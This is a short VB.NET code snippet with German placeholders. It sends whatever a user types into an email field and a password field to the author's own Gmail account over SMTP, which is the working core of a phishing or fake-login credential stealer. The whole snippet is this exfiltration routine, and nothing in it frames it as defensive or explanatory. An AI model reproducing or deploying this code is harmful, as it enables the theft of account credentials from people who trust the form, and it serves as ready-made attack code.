Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("GMAIL", "dein GMAIL Passwort")
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage
mail.From = New MailAddress("deine GMAIL")
mail.To.Add("deine GMAIL")
mail.Subject = "E-Mail: " & email.Text
mail.Body = "E-Mail : " & email.Text & ", " & "Passwort : " & passwort.Text
smtpServer.Send(mail)